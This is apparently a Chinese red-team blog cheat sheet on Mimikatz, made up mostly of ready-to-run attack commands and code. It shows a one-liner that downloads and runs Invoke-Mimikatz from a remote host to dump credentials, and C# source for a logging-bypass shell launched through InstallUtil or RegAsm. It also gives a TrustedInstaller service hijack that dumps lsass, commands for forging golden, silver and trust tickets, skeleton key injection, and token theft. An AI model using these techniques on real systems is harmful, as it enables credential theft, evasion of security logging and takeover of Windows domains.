Mimikatz 8 months ago red.ghostwolflab.com 4 minutes Lsass进程转储凭据 IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.8.156/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds PowerShell降级绕过日志记录 powershell -version 2 IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.8.156/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds 不降级绕过 using System; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; namespace TranscriptBypass { // Compiling with CSC.exe v4.0.30319 or v3.5 // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll // C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll // Running via InstallUtil.exe // C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\posh.exe // Compiling with CSC.exe v4.0.30319 or v3.5 for use with regasm.exe // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:C:\Temp\posh.dll C:\Temp\posh.cs /reference:System.Management.Automation.dll // C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /target:library /out:c:\temp\posh.dll C:\temp\posh.cs /reference:System.Management.Automation.dll // Running via RegAsm.exe // C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\temp\posh.dll public class Program { public static Runspace newrunspace; public static void startrunspace() { newrunspace = RunspaceFactory.CreateRunspace(); newrunspace.Open(); var cmd = new System.Management.Automation.PSVariable("c"); newrunspace.SessionStateProxy.PSVariable.Set(cmd); var output = new System.Management.Automation.PSVariable("o"); newrunspace.SessionStateProxy.PSVariable.Set(output); } public static string InvokeAutomation(string cmd) { RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); Pipeline pipeline = newrunspace.CreatePipeline(); newrunspace.SessionStateProxy.SetVariable("c", cmd); if (cmd == "$a;") { return ""; } else { pipeline.Commands.AddScript("$o = IEX $c | Out-String"); } Collection<PSObject> results1 = pipeline.Invoke(); object results2 = newrunspace.SessionStateProxy.GetVariable("o"); return results2.ToString(); } public static void Main() { try { startrunspace(); string ps = null; Console.Write("PS>"); while (!String.IsNullOrEmpty(ps = "$a;" + Console.ReadLine().Trim())) { try { Console.WriteLine(InvokeAutomation(ps)); } catch (Exception ex) { Console.Write(ex.Message); } Console.Write("PS>"); } } catch { Main(); } } } } 编译: C:\Windows\system32>C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:C:\Users\snowwolf \Desktop\bypass.exe C:\Users\snowwolf\Desktop\bypass.cs /reference:C:\Windows\assembly\GAC _MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation. dll 如果找不到System.Management.Automation.dll,可以在PowerShell输入以下命令获取目录: [psobject].assembly.location 在目标主机运行生成后的exe文件,即可绕过日志记录 绕过LSA保护 Mimikatz可以使用驱动程序绕过LSA保护来转储凭据: !+ 绕过SeDebugPrivilege TrustedInstaller 帐户仍有权访问转储内存,并可用于绕过该防御。通过修改 TrustedInstaller 服务的配置,可以运行该帐户以使用 ProcDump 转储 lsass.exe: sc config TrustedInstaller binPath= "C:\Users\Public\procdump64.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmp" sc start TrustedInstaller 提取凭据: # privilege::debug # sekurlsa::minidump lsass.dmp # sekurlsa::logonpasswords 黄金票据 黄金票据是使用KRBTGT NTLM密码HASH进行加密和签名的TGT。我们可以创建金票将域中的任何用户模拟位域中任何组的成员,以访问域中的任何资源。 mimikatz "kerberos::golden /User:Administrator /domain:rd.lab.adsecurity.org /id:512 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit 银票 Silver Ticket使用目标服务账户NTLM密码HASH进行加密和签名 mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit 信托票据 信托票据是一种用于在 Windows 域环境中进行身份验证和授权的机制,它可以让用户在不同的域之间访问资源,而不需要重复输入用户名和密码。信托票据是基于 Kerberos 协议的,它包含了用户的身份信息和权限信息,以及一些加密和签名的数据,用于保证票据的安全性和完整性。转储信托密钥: Mimikatz "privilege::debug" "lsadump::trust /patch" exit 伪造信托票据: Mimikatz "Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi" exit 万能密钥注入Lsass进程 “misc::skeleton”命令是 mimikatz 的一个功能,它可以在域控制器上注入一个 “Skeleton Key”,这是一种可以用来绕过域用户的密码验证的机制,让攻击者可以使用任何域用户的身份登录到域内的资源,而不需要知道他们的真实密码 mimikatz # "privilege::debug" Privilege '20' OK mimikatz # "misc::skeleton" [KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK mimikatz # 这样就会在域控制器上注入 “Skeleton Key”,攻击者可以使用任何域用户的账号和 “mimikatz” 作为密码,登录到域内的资源,如其他的服务器或工作站: Enter-PSSession -ComputerName xxxDomain -Credential xxxDomain\\administrator 模拟令牌 Mimikatz 的Token模块可以将Mimikatz与Windows身份验证令牌交互,用于抓取和模拟现有令牌TOKEN::Elevate 模块是 mimikatz 的一个功能,它可以窃取其他用户的访问令牌,从而提升权限或者模拟其他用户的身份。访问令牌是一种包含用户的身份和权限信息的数据结构,它在 Windows 系统中用于访问控制TOKEN::Elevate 模块有以下几个可选参数,你可以用它们来指定你想要窃取的访问令牌:/id:指定目标访问令牌的 ID/domainadmin:窃取域管理员的访问令牌/user:指定目标用户的名称/process:指定目标进程的 ID/service:指定目标服务的名称/system:窃取系统的访问令牌/current:窃取当前进程的访问令牌如果不指定任何参数,那么默认会窃取 NT AUTHORITY\SYSTEM 的访问令牌,这是一个具有最高权限的账户 privilege::debug token::elevate 窃取域管理员的访问令牌: privilege::debug token::elevate /domainadmin SEKURLSA SEKURLSA 模块可以从 lsass.exe 进程的内存中提取用户的凭证,包括明文密码、哈希、PIN 码和 Kerberos 票据。SEKURLSA 模块包含了多个子模块,如 logonpasswords、tickets、pth、kerberos 等,每个子模块都有不同的用途和参数从 lsass.exe 进程的内存中提取用户的凭证,包括明文密码、哈希、PIN 码和 Kerberos 票据: privilege::debug sekurlsa::logonpasswords